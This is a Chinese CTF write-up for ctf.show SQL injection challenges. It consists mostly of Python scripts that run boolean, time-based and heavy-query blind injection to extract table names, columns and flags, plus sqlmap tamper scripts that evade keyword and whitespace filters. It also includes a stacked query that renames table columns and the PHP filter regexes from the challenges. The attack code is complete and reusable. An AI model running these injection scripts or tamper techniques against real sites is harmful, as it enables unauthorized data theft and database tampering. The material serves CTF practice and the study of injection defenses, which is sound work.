CTFSHOW-SQL注入-Writeup

 1# @Author:Y4tacker
 2import requests
 3
 4url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
 5
 6result = ''
 7i = 0
 8
 9while True:
10    i = i + 1
11    head = 32
12    tail = 127
13
14    while head < tail:
15        mid = (head + tail) >> 1
16        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
17        r = requests.get(url + payload)
18        if "admin" in r.text:
19            head = mid + 1
20        else:
21            tail = mid
22
23    if head != 32:
24        result += chr(head)
25    else:
26        break
27    print(result)

1import base64
2 
3flag64 = "ctfshow{GHIeaIeG-AGaG-DAab-HHae-eEaFcHFIEbef}"
4 
5flag = flag64.replace("A", "1").replace("B", "2").replace("C", "3").replace("D", "4").replace("E", "5").replace("F", "6").replace("G", "7").replace("H", "8").replace("I", "9").replace("J", "0")
6 
7print(flag)

 1# @Author:Y4tacker
 2import requests
 3
 4url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
 5
 6result = ''
 7i = 0
 8
 9while True:
10    i = i + 1
11    head = 32
12    tail = 127
13
14    while head < tail:
15        mid = (head + tail) >> 1
16        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
17        try:
18            r = requests.get(url + payload, timeout=0.5)
19            tail = mid
20        except Exception as e:
21            head = mid + 1
22
23    if head != 32:
24        result += chr(head)
25    else:
26        break
27    print(result)

1//对传入的参数进行了过滤
2  function waf($str){
3    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
4  }

1//对传入的参数进行了过滤
2  function waf($str){
3    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
4  }

1//对传入的参数进行了过滤
2  function waf($str){
3    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
4  }

 1import requests
 2url = "http://33578c7b-f34a-422b-87a5-a8accac68645.challenge.ctf.show/select-waf.php"
 3flag = ''
 4
 5
 6def createNum(n):
 7    num = 'true'
 8    if n == 1:
 9        return 'true'
10    else:
11        for i in range(n - 1):
12            num += "+true"
13    return num
14
15
16for i in range(45):
17    if i <= 5:
18        continue
19    for j in range(127):
20        data = {
21            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
22        }
23        r = requests.post(url, data=data)
24        if r.text.find("$user_count = 43;") > 0:
25            if chr(j) != ".":
26                flag += chr(j)
27
28                print("[*]result is:"+flag.lower())
29                if chr(j) == "}":
30                    exit(0)
31                break

 1# -*- coding: utf-8 -*-
 2# @Author  : Yn8rt
 3# @Time    : 2021/7/30 15:48
 4# @Function:
 5import requests
 6import sys
 7import json
 8
 9url = 'http://98e1809d-5de9-4f68-b45f-d03388b1dae8.challenge.ctf.show/api/'
10flag = 'ctfshow{'
11letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
12
13for i in range(100):
14    for j in letter:
15        payload = {
16            "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag + j),
17            "password": "0"
18
19        }
20        r = requests.post(url=url,data=payload)
21        #print(r)
22        if "密码错误" == r.json()['msg']:
23            flag += j
24            print(flag)
25            break
26        if '}' in flag:
27            sys.exit()

 1# @Author:Y4tacker
 2import requests
 3
 4url = "http://eb2e57dd-6c44-4140-9052-f549f647caa9.challenge.ctf.show/api/"
 5
 6result = ""
 7i = 0
 8
 9while True:
10    i = i + 1
11    head = 32
12    tail = 127
13
14    while head < tail:
15        mid = (head + tail) >> 1
16        # 查数据库
17        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查字段
19        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
20        # 查flag
21        payload = "select group_concat(f1ag) from ctfshow_fl0g"
22        data = {
23            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
24            'password': '1'
25        }
26
27        r = requests.post(url,data=data)
28        if "密码错误"  == r.json()['msg']:
29            head = mid + 1
30        else:
31            tail = mid
32
33    if head != 32:
34        result += chr(head)
35    else:
36        break
37    print(result)

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = '{$username}'";
 5      
 6返回逻辑
 7
 8  //密码检测
 9  if(!is_numeric($password)){
10    $ret['msg']='密码只能为数字';
11    die(json_encode($ret));
12  }
13
14  //密码判断
15  if($row['pass']==$password){
16      $ret['msg']='登陆成功';
17    }
18
19  //TODO:感觉少了个啥，奇怪
20    if(preg_match('/file|into|ascii/i', $username)){
21        $ret['msg']='用户名非法';
22        die(json_encode($ret));
23    }

 1# @Author:Y4tacker
 2import requests
 3
 4url = "http://92a52ee7-65ff-4fff-b3d9-ec90f74fd2f5.challenge.ctf.show/api/"
 5
 6result = ""
 7i = 0
 8
 9while True:
10    i = i + 1
11    head = 32
12    tail = 127
13
14    while head < tail:
15        mid = (head + tail) >> 1
16        # 查数据库
17        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查字段
19        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
20        # 查flag
21        payload = "select group_concat(f1ag) from ctfshow_fl0g"
22        data = {
23            'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
24            'password': '1'
25        }
26
27        r = requests.post(url,data=data)
28        if "密码错误"  == r.json()['msg']:
29            head = mid + 1
30        else:
31            tail = mid
32
33    if head != 32:
34        result += chr(head)
35    else:
36        break
37    print(result)

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = '{$username}'";
 5      
 6返回逻辑
 7
 8  //密码检测
 9  if(!is_numeric($password)){
10    $ret['msg']='密码只能为数字';
11    die(json_encode($ret));
12  }
13
14  //密码判断
15  if($row['pass']==$password){
16      $ret['msg']='登陆成功';
17    }
18
19  //TODO:感觉少了个啥，奇怪
20    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
21        $ret['msg']='用户名非法';
22        die(json_encode($ret));
23    }

 1import requests
 2import string
 3
 4url = "http://20b20943-6b5a-464b-b13e-99ab8e2644b7.challenge.ctf.show/api/"
 5flagstr=" _{}-" + string.ascii_lowercase + string.digits
 6flag = ''
 7for i in range(1,45):
 8    for j in flagstr:
 9        payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
10        data = {
11            'username': payload,
12            'password': '1'
13        }
14        r = requests.post(url, data=data)
15        if "密码错误" == r.json()['msg']:
16            flag += j
17            print(flag)
18            if "}" in flag:
19                exit(0)
20            break

 1
 2# 用了二分法 dejavu~~~
 3import requests
 4
 5url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
 6# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
 7# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
 8# 列名 ID,F1AG,ID,usErNAME,pAss
 9# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
10# flag
11payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
12true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
13result = ""
14index = 1
15while True:
16    start = 32
17    end = 127
18    while not (abs(start-end) == 1 or start == end):
19        p = (start + end) // 2
20        data = {
21            "username": payload.format(index, chr(p)),
22            "password": 0
23        }
24        response = None
25        while True:
26            try:
27                response = requests.post(url, data=data)
28            except:
29                continue
30            break
31        if true_flag in response.text:
32            start = p
33        else:
34            end = p
35    if end < start:
36        end = start
37    result += chr(end)
38    print(f"[*] result: {result}")
39    index += 1

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = '{$username}'";
 5      
 6返回逻辑
 7
 8  //密码检测
 9  if(!is_numeric($password)){
10    $ret['msg']='密码只能为数字';
11    die(json_encode($ret));
12  }
13
14  //密码判断
15  if($row['pass']==$password){
16      $ret['msg']='登陆成功';
17    }
18
19  //TODO:感觉少了个啥，奇怪
20    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
21        $ret['msg']='用户名非法';
22        die(json_encode($ret));
23    }

 1import requests
 2import sys
 3url = 'http://a4ac8172-cadd-42ca-a986-771b4ab0400f.challenge.ctf.show/api/'
 4result = ''
 5letter = '0123456789abcdefghijklmnopqrstuvwxyz-_,{}'
 6
 7for i in range(100):
 8    for j in letter:
 9        # 查表
10        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
11        # 查字段
12        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
13        # 查flag
14        payload = "select group_concat(f1ag) from ctfshow_flxg"
15        
16        data={
17            'username':"admin' and if(({}) like '{}%',1,2) ='1".format(payload,result+j),
18            'password':1
19        }
20        res = requests.post(url=url,data=data)
21        if "密码错误" == res.json()['msg']:
22            result += j
23            print(result)
24            break
25        if "}" in result:
26            exit(0)

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = '{$username}'";
 5      
 6返回逻辑
 7
 8  //密码检测
 9  if(!is_numeric($password)){
10    $ret['msg']='密码只能为数字';
11    die(json_encode($ret));
12  }
13
14  //密码判断
15  if($row['pass']==$password){
16      $ret['msg']='登陆成功';
17    }
18
19  //TODO:感觉少了个啥，奇怪
20    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
21        $ret['msg']='用户名非法';
22        die(json_encode($ret));
23    }

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = {$username};";
 5      
 6返回逻辑
 7
 8  //密码检测
 9  if(!is_numeric($password)){
10    $ret['msg']='密码只能为数字';
11    die(json_encode($ret));
12  }
13
14  //密码判断
15  if($row['pass']==$password){
16      $ret['msg']='登陆成功';
17    }
18
19  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
20  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
21    $ret['msg']='用户名非法';
22    die(json_encode($ret));
23  }
24
25  if($row[0]==$password){
26      $ret['msg']="登陆成功 flag is $flag";
27  }

 1查询语句
 2
 3  //拼接sql语句查找指定ID用户
 4  $sql = "select pass from ctfshow_user where username = {$username};";
 5      
 6返回逻辑
 7
 8
 9  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
10  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
11    $ret['msg']='用户名非法';
12    die(json_encode($ret));
13  }
14
15  if($row[0]==$password){
16      $ret['msg']="登陆成功 flag is $flag";
17  }
18      

 1# @Author:Y4tacker
 2import requests
 3
 4url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
 5for i in range(100):
 6    if i == 0:
 7        data = {
 8            'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
 9                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
10                        'varchar(255);',
11            'password': f'{i}'
12        }
13        r = requests.post(url, data=data)
14    data = {
15        'username': '0x61646d696e',
16        'password': f'{i}'
17    }
18    r = requests.post(url, data=data)
19    if "登陆成功" in r.json()['msg']:
20        print(r.json()['msg'])
21        break

 1#!/usr/bin/env python
 2
 3"""
 4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 5See the file 'doc/COPYING' for copying permission
 6"""
 7
 8from lib.core.enums import PRIORITY
 9__priority__ = PRIORITY.LOW # 当前脚本调用优先等级
10
11def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
12    pass
13
14def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
15    return payload

 1#!/usr/bin/env python
 2"""
 3Author:Y4tacker
 4"""
 5
 6# 假设在Python 3环境中运行，将xrange替换为range
 7# 从lib.core.enums模块中导入PRIORITY枚举类型
 8from lib.core.enums import PRIORITY
 9
10# 设置脚本的优先级为低
11__priority__ = PRIORITY.LOW
12
13def tamper(payload, **kwargs):
14    """
15    篡改函数，调用space2comment函数对有效负载进行处理
16    :param payload: 待处理的有效负载
17    :param kwargs: 其他关键字参数
18    :return: 处理后的有效负载
19    """
20    payload = space2comment(payload)
21    return payload
22
23def space2comment(payload):
24    """
25    将有效负载中的空格字符替换为换行符
26    :param payload: 待处理的有效负载
27    :return: 处理后的有效负载
28    """
29    retVal = payload
30    if payload:
31        retVal = ""
32        # 用于跟踪是否在单引号内
33        quote = False
34        # 用于跟踪是否在双引号内
35        doublequote = False
36        # 用于跟踪是否遇到第一个空格
37        firstspace = False
38
39        for i in range(len(payload)):
40            if not firstspace:
41                if payload[i].isspace():
42                    firstspace = True
43                    retVal += chr(0x0a)
44                    continue
45
46            elif payload[i] == '\'':
47                # 取反quote的值
48                quote = not quote
49
50            elif payload[i] == '"':
51                # 取反doublequote的值
52                doublequote = not doublequote
53
54            elif payload[i] == " " and not doublequote and not quote:
55                retVal += chr(0x0a)
56                continue
57
58            retVal += payload[i]
59
60    return retVal

 1#!/usr/bin/env python
 2"""
 3Author:Y4tacker
 4"""
 5
 6from lib.core.compat import xrange
 7from lib.core.enums import PRIORITY
 8
 9__priority__ = PRIORITY.LOW
10
11
12def tamper(payload, **kwargs):
13    payload = space2comment(payload)
14    return payload
15
16
17def space2comment(payload):
18    retVal = payload
19    if payload:
20        retVal = ""
21        quote, doublequote, firstspace = False, False, False
22
23        for i in xrange(len(payload)):
24            if not firstspace:
25                if payload[i].isspace():
26                    firstspace = True
27                    retVal += chr(0x0a)
28                    continue
29
30            elif payload[i] == '\'':
31                quote = not quote
32
33            elif payload[i] == '"':
34                doublequote = not doublequote
35
36            elif payload[i] == "*":
37                retVal += chr(0x31)
38                continue
39
40            elif payload[i] == "=":
41                retVal += chr(0x0a)+'like'+chr(0x0a)
42                continue
43
44            elif payload[i] == " " and not doublequote and not quote:
45                retVal += chr(0x0a)
46                continue
47
48            retVal += payload[i]
49
50    return retVal

 1#!/usr/bin/env python
 2
 3from lib.core.enums import PRIORITY
 4
 5__priority__ = PRIORITY.NORMAL
 6
 7def dependencies():
 8    pass
 9
10
11def tamper(payload, **kwargs):
12    return payload.replace("=", " like ").replace(" ", chr(0x09))

 1#!/usr/bin/env python
 2
 3from lib.core.enums import PRIORITY
 4import base64
 5
 6__priority__ = PRIORITY.NORMAL
 7
 8def dependencies():
 9    pass
10
11
12def tamper(payload, **kwargs):
13    rev1 = payload[::-1].encode()
14    encode1 = base64.b64encode(rev1).decode()
15    rev2 = encode1[::-1].encode()
16    encode2 = base64.b64encode(rev2).decode()
17    return encode2

 1#!/usr/bin/env python
 2
 3from lib.core.enums import PRIORITY
 4import base64
 5
 6__priority__ = PRIORITY.NORMAL
 7
 8def dependencies():
 9    pass
10
11
12def tamper(payload, **kwargs):
13	
14    payload0 = payload.replace(" ", chr(0x09))
15    rev1 = payload0[::-1].encode()
16    encode1 = base64.b64encode(rev1).decode()
17    rev2 = encode1[::-1].encode()
18    encode2 = base64.b64encode(rev2).decode()
19    return encode2

 1查询语句
 2
 3//拼接sql语句查找指定ID用户
 4$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
 5      
 6返回逻辑
 7
 8//对查询字符进行解密
 9  function decode($id){
10    return strrev(base64_decode(strrev(base64_decode($id))));
11  }
12function waf($str){
13    return preg_match('/ |\*/', $str);
14}

 1查询语句
 2
 3//拼接sql语句查找指定ID用户
 4$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
 5      
 6返回逻辑
 7
 8//对查询字符进行解密
 9  function decode($id){
10    return strrev(base64_decode(strrev(base64_decode($id))));
11  }
12function waf($str){
13    return preg_match('/ |\*/', $str);
14}

 1import requests
 2
 3url = "http://fe78d582-57da-4291-845f-1e8ff2936104.challenge.ctf.show/api/"
 4result = ""
 5i = 0
 6
 7while True:
 8    i = i + 1
 9    # ASCII码范围，32到127是可打印字符的范围
10    head = 32
11    tail = 127
12
13    while head < tail:
14        # 二分查找的中间值
15        mid = (head + tail) >> 1
16		# 查表名
17        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查列名
19        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
20        # 爆字段
21        payload = "select flaga from ctfshow_flagx"
22        data = {
23            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
24            'debug': '0'
25        }
26        try:
27            # 发送POST请求，设置超时时间为1秒
28            r = requests.post(url, data=data, timeout=1)
29            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
30            tail = mid
31        except requests.exceptions.Timeout:
32            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
33            head = mid + 1
34        except Exception as e:
35            print(f"An unexpected error occurred: {e}")
36            break
37
38    if head != 32:
39        # 如果找到有效的字符，将其添加到结果字符串中
40        result += chr(head)
41    else:
42        # 如果没有找到有效字符，退出循环
43        break
44    print("[*]Result : "+result)

 1import requests
 2
 3url = "http://08e16d35-1a8c-4ed7-9e9e-760a32aa0756.challenge.ctf.show/api/"
 4result = ""
 5i = 0
 6
 7while True:
 8    i = i + 1
 9    # ASCII码范围，32到127是可打印字符的范围
10    head = 32
11    tail = 127
12
13    while head < tail:
14        # 二分查找的中间值
15        mid = (head + tail) >> 1
16		# 查表名
17        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查列名
19        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
20        # 爆字段
21        # payload = "select flaga from ctfshow_flagx"
22        data = {
23            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)#",
24            'debug': '0'
25        }
26        try:
27            # 发送POST请求，设置超时时间为1秒
28            r = requests.post(url, data=data, timeout=1)
29            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
30            tail = mid
31        except requests.exceptions.Timeout:
32            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
33            head = mid + 1
34        except Exception as e:
35            print(f"An unexpected error occurred: {e}")
36            break
37
38    if head != 32:
39        # 如果找到有效的字符，将其添加到结果字符串中
40        result += chr(head)
41    else:
42        # 如果没有找到有效字符，退出循环
43        break
44    print("[*]Result : "+result)

 1import requests
 2
 3url = "http://d3d3aa4e-87f5-454c-b589-826971f59bbb.challenge.ctf.show/api/"
 4result = ""
 5i = 0
 6
 7while True:
 8    i = i + 1
 9    # ASCII码范围，32到127是可打印字符的范围
10    head = 32
11    tail = 127
12
13    while head < tail:
14        # 二分查找的中间值
15        mid = (head + tail) >> 1
16		# 查表名
17        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查列名
19        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
20        # 爆字段
21        payload = "select flagaac from ctfshow_flagxcc"
22        data = {
23            'ip': f"'') or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)#",
24            'debug': '0'
25        }
26        try:
27            # 发送POST请求，设置超时时间为1秒
28            r = requests.post(url, data=data, timeout=1)
29            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
30            tail = mid
31        except requests.exceptions.Timeout:
32            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
33            head = mid + 1
34        except Exception as e:
35            print(f"An unexpected error occurred: {e}")
36            break
37
38    if head != 32:
39        # 如果找到有效的字符，将其添加到结果字符串中
40        result += chr(head)
41    else:
42        # 如果没有找到有效字符，退出循环
43        break
44    print("[*]Result : "+result)

 1import requests
 2import time
 3
 4url = "http://b5d4a386-1612-4c40-b14c-e9103a54188c.challenge.ctf.show/api/"
 5result = ""
 6i = 0
 7
 8while True:
 9    i = i + 1
10    # ASCII码范围，32到127是可打印字符的范围
11    head = 32
12    tail = 127
13
14    while head < tail:
15        # 二分查找的中间值
16        mid = (head + tail) >> 1
17        # 查数据库
18        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
19        # 查列名字
20        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxccb' limit 1,1"
21        # 查数据
22        payload = "select flagaabc from ctfshow_flagxccb"
23        data = {
24            'ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},benchmark(1000000,sha(1)),1)#",
25            'debug': '0'
26        }
27        try:
28            # 发送POST请求，设置超时时间为1秒
29            r = requests.post(url, data=data, timeout=0.33)
30            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
31            time.sleep(1)
32            tail = mid
33        except requests.exceptions.Timeout:
34            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
35            time.sleep(1)
36            head = mid + 1
37        except Exception as e:
38            time.sleep(1)
39            print(f"An unexpected error occurred: {e}")
40            break
41
42    if head != 32:
43        # 如果找到有效的字符，将其添加到结果字符串中
44        result += chr(head)
45    else:
46        # 如果没有找到有效字符，退出循环
47        break
48
49    print("[*]Result : "+result)

 1查询语句
 2
 3       where id = ($id);
 4      
 5返回逻辑
 6
 7    //屏蔽危险分子
 8    function waf($str){
 9        return preg_match('/sleep|benchmark/i',$str);
10    }   
11      

 1import requests
 2import time
 3
 4url = "http://a17ea2c9-7463-4d5a-bfa5-2f6bdcd2daf1.challenge.ctf.show/api/"
 5result = ""
 6i = 0
 7
 8while True:
 9    i = i + 1
10    # ASCII码范围，32到127是可打印字符的范围
11    head = 32
12    tail = 127
13
14    while head < tail:
15        # 二分查找的中间值
16        mid = (head + tail) >> 1
17
18        # payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
19        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxc' limit 1,1"
20        payload = "select flagaac from ctfshow_flagxc"
21        data = {
22            'ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
23            'debug': '1'
24        }
25        try:
26            # 发送POST请求，设置超时时间为1秒
27            r = requests.post(url, data=data, timeout=0.15)
28            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
29            time.sleep(0.2)
30            tail = mid
31        except requests.exceptions.Timeout:
32            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
33            time.sleep(0.2)
34            head = mid + 1
35        except Exception as e:
36            time.sleep(0.2)
37            print(f"An unexpected error occurred: {e}")
38            break
39
40    if head != 32:
41        # 如果找到有效的字符，将其添加到结果字符串中
42        result += chr(head)
43    else:
44        # 如果没有找到有效字符，退出循环
45        break
46
47    print("[*]Result : "+result)
48
49# ctfshow{d317911f-ac1e-4160-be70-47d01a0f2f45}

 1import requests
 2import time
 3
 4url = "http://61d55d79-847e-43d7-80e4-c221ceae9f4a.challenge.ctf.show/api/"
 5result = ""
 6i = 0
 7
 8while True:
 9    i = i + 1
10    # ASCII码范围，32到127是可打印字符的范围
11    head = 32
12    tail = 127
13
14    while head < tail:
15        # 二分查找的中间值
16        mid = (head + tail) >> 1
17
18        # payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
19        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxca' limit 1,1"
20        payload = "select flagaabc from ctfshow_flagxca"
21
22        data = {
23            'ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
24            'debug': '1'
25        }
26        try:
27            # 发送POST请求，设置超时时间为1秒
28            r = requests.post(url, data=data, timeout=0.15)
29            # 如果请求在1秒内返回，说明当前位置字符的ASCII码小于等于中间值
30            time.sleep(0.2)
31            tail = mid
32        except requests.exceptions.Timeout:
33            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
34            time.sleep(0.2)
35            head = mid + 1
36        except Exception as e:
37            time.sleep(0.2)
38            print(f"An unexpected error occurred: {e}")
39            break
40
41    if head != 32:
42        # 如果找到有效的字符，将其添加到结果字符串中
43        result += chr(head)
44    else:
45        # 如果没有找到有效字符，退出循环
46        break
47
48    print("[*]Result : "+result)

 1import requests
 2import string
 3import time
 4
 5url = "http://52728b9a-ffae-4f96-b51f-0549bb5cb4e0.challenge.ctf.show/api/"
 6str=" _{}-" + string.ascii_lowercase + string.digits
 7result = ''
 8for i in range(1,45):
 9    for j in str:
10        # payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
11        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1"
12        payload = "select flagaabcc from ctfshow_flagxcac"
13
14        data = {
15            'ip': f"1) or if(LEFT(({payload}),{i})regexp('{result+j}'),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
16            'debug': 0
17        }
18        try:
19            r = requests.post(url, data=data, timeout=0.15)
20            time.sleep(0.2)
21        except Exception as e:
22            time.sleep(0.2)
23            result = result + j
24            print("[*] loading :"+result)
25            break
26
27print("[*] result :"+result)

1查询语句
2
3  //分页查询
4  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
5      
6返回逻辑
7
8//TODO:很安全，不需要过滤
9//拿到数据库名字就算你赢

 1import requests
 2import time
 3url = "http://529d9311-c036-4831-bfa1-b2ca91dae190.challenge.ctf.show/api/?u="
 4result = ""
 5i = 0
 6
 7while True:
 8    i = i + 1
 9    # ASCII码范围，32到127是可打印字符的范围
10    head = 32
11    tail = 127
12
13    while head < tail:
14        # 二分查找的中间值
15        mid = (head + tail) >> 1
16        # 查表名
17        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
18        # 查列名字
19        # payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"
20        # 爆字段
21        payload = "select flagaabc from ctfshow_flaga"
22
23        data = f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"
24
25        try:
26            r = requests.post(url+data, timeout=0.05)
27            time.sleep(0.2)
28            tail = mid
29        except requests.exceptions.Timeout:
30            time.sleep(0.2)
31            # 如果请求超时，说明当前位置字符的ASCII码大于中间值
32            head = mid + 1
33        except Exception as e:
34            time.sleep(0.2)
35            print(f"An unexpected error occurred: {e}")
36            break
37
38    if head != 32:
39        # 如果找到有效的字符，将其添加到结果字符串中
40        result += chr(head)
41    else:
42        # 如果没有找到有效字符，退出循环
43        break
44    print("[*]Result : "+result)

1查询语句
2
3  //分页查询
4  $sql = select * from ctfshow_user group by $username;
5      
6返回逻辑
7
8//TODO:很安全，不需要过滤
9//用户名不能是数字

 1import requests
 2import time
 3url = "http://14dc1900-f046-44e8-bfa2-e93fbc2a32b3.challenge.ctf.show/api/?u="
 4result = ""
 5i = 0
 6
 7def createNum(n):
 8    num = 'true'
 9    if n == 1:
10        return 'true'
11    else:
12        for i in range(n - 1):
13            num += "+true"
14    return num
15
16while True:
17    i = i + 1
18    # ASCII码范围，32到127是可打印字符的范围
19    head = 32
20    tail = 127
21
22    while head < tail:
23        # 二分查找的中间值
24        mid = (head + tail) >> 1
25        
26        # 查数据库-ctfshow_flagas
27        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
28        # 查字段-flagasabc
29        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
30        # 查flag
31        payload = "select flagasabc from ctfshow_flagas"
32
33
34        params = {
35            # "u": f"if(ascii(substr(({payload}),{createNum(i)},{createNum(1)}))>{createNum(mid)},sleep(true),true)"  #时间盲注 （我没跑出来，不知道为啥
36            "u": f"if(ascii(substr(({payload}),{createNum(i)},{createNum(1)}))>{createNum(mid)},username,'a')" #布尔盲注
37        }
38
39        # try:
40        #     r = requests.post(url,params=params,timeout=1)
41        #     tail = mid
42        # except Exception as e:
43        #     head = mid + 1
44
45        r = requests.get(url, params=params)
46        if "userAUTO" in r.text:
47            head = mid + 1
48        else:
49            tail = mid
50
51    if head != 32:
52        # 如果找到有效的字符，将其添加到结果字符串中
53        result += chr(head)
54    else:
55        # 如果没有找到有效字符，退出循环
56        break
57
58    print(result)